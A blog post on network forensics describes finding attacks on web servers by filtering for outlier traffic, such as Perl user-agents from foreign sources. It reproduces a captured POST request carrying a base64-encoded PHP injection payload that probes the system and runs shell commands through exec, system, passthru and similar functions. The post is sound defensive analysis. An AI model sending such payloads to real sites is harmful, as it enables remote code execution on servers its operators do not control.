Finding injection attacks by looking for injection attacks is a fail

1:53 am code, forensics, injection, Network Forensics, Network Visbility, Obfuscated traffic

I tend to be an opponent of looking for bad stuff by using “known bad dictionaries” like IP lists, signatures, etc. I tend to soapbox about how you can find far more known and unknown bad stuff by employing a methodology of separating out “presumed good” stuff, and examining outliers. Check out any of the other posts I have up here for more detail about this, probably starting with this post.

The InfoSec industry tends to focus very hard on the exploitation of clients (mostly being end-users belonging to an organization, or customers of your organization – especially for financial institutions). Since the early 2000′s gradually less focus has been paid to the exploitation of servers.

As discussed in other posts here, the exact same forensics methodologies and logical reasoning apply not only to the high-level analysis of network traffic, but also to low-level areas like the characteristics of processes on a host. Likewise, the same techniques apply to finding bad things with hosts as well as with servers.

In this case, we were interested in finding anomalous inbound traffic going from clients to web servers. The logic we used went something like this:

1 – Most people browse webpages using a common web browser like Internet Explorer, Firefox, Safari, Chrome, etc.

2 – The user-agents of these browsers are based on Mozilla 4.0 or 5.0.

So in this case, we were interested in sessions not matching the characteristics above. Those sessions are depicted here:

 

 

While that’s a lot of results (that are mostly legitimate), we could have stopped there and applied the “if-then” logic we talk about in other articles to find the same types of activity we’ll see in a minute, but for the sake of discussion here, we also went one step further.

In this case we were hunting for a more specific type of activity, so we added the following criteria to our logic:

3 – When hacking a website using an exploitation method where automation makes the process more efficient (for instance, SQL injection), many times it’s easier to automate your hacking using a high-level language like Perl, etc.

We were able to combine the above logic into a single query as shown next:

 

 

The above query simply says “show us all network sessions where the user-agent contains the term perl.”

In many environments/traffic sets, this is all you need to find “interesting” things, however in massive environments with custom-developed web applications it’s likely that query will still clutter your analysis work with too many legitimate sessions to analyze. In those cases, it’s useful to layer in the following logic, which is a natural part of the “if-then” logic we talk about in other places.

1 – Because the server farm examined in this case resides in the United States and the customers of this application were primarily US-based, you can filter out all traffic originating from the United States (or whatever country applies to your case). Keep in mind, this would normally still include a massive amount of traffic, but we’ve already applied the filter to only include sessions were the user-agent contains the word perl. The combination of the two criteria points typically reduces the number of sessions from millions to dozens.

2 – When using the logic above, it’s helpful to additionally apply a filter for all sessions where the source country could not be resolved. This is a neat little trick to quickly filter out all traffic from RFC 1918 addresses, which typically means traffic sourced from the organization being examined – especially if you’re looking for bad things coming in. (We apply this logic all the time when looking for bad things going out as well – except in those cases we filter traffic where the destination country can’t be resolved. While this logic doesn’t apply to all cases, it’s a good place to start for most.)

In this case, we ended up with the following eight sessions:

 

 

All eight of those sessions came from the same source. Digging into all sessions from this source (which included several others not part of the eight above, but stood out like a sore thumb after we found those eight – which is typically how it works), we found a lot of traffic like this:

 

POST /contactus.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: <redacted>
User-Agent: Mozilla/3.0 (OS/2; U)
Content-Type: application/x-www-form-urlencoded
Content-Length: 996
<redacted>&name=[php]eval(base64_decode('ZWNobyAiQU5BU0tJPGJyPiI7DQp
lY2hvICJzeXM6Ii5waHBfdW5hbWUoKS4iPGJyPiI7DQokY21kPSJlY2hvIEpGcnkiOw0KJGVzZWd1aWNt
ZD1leCgkY21kKTsNCmVjaG8gJGVzZWd1aWNtZDsNCmZ1bmN0aW9uIGV4KCRjZmUpew0KJHJlcyA9ICcnO
w0KaWYgKCFlbXB0eSgkY2ZlKSl7DQppZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSl7DQpAZXhlYygkY2
ZlLCRyZXMpOw0KJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHM
oJ3NoZWxsX2V4ZWMnKSl7DQokcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQp9DQplbHNlaWYoZnVuY3Rp
b25fZXhpc3RzKCdzeXN0ZW0nKSl7DQpAb2Jfc3RhcnQoKTsNCkBzeXN0ZW0oJGNmZSk7DQokcmVzID0gQ
G9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aX
N0cygncGFzc3RocnUnKSl7DQpAb2Jfc3RhcnQoKTsNCkBwYXNzdGhydSgkY2ZlKTsNCiRyZXMgPSBAb2J
fZ2V0X2NvbnRlbnRzKCk7DQpAb2JfZW5kX2NsZWFuKCk7DQp9DQplbHNlaWYoQGlzX3Jlc291cmNlKCRm
ID0gQHBvcGVuKCRjZmUsInIiKSkpew0KJHJlcyA9ICIiOw0Kd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzI
C49IEBmcmVhZCgkZiwxMDI0KTsgfQ0KQHBjbG9zZSgkZik7DQp9fQ0KcmV0dXJuICRyZXM7DQp9'))%3B
die%28%29%3B%5B%2Fphp%5D

 

When we remove the encoded data for a moment and clean it up, we see the user is submitting the following in the form of a POST to contactus.php:

 

[php]eval(base64_decode('<encoded_data>'));die();[/php]

 

Even without being a php programmer, it’s fairly obvious to see the attacker is using PHP injection to get the php form contactus.php to execute something encoded inside the eval() statement. And what is inside that eval statement?

It’s decoded below:

 

 

After looking at the other sessions we see the connection with Anaski (pictured below) is not coincidental, as it usually is not with groups like them.

Again, this is just another fun example of how intelligent and tactical traffic carving methods turn up far more than you’d find going out and looking for specific things.

 

 

 

- Gary Golomb

 

 

Leave a Comment

Your comment

You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Please note: Comment moderation is enabled and may delay your comment. There is no need to resubmit your comment.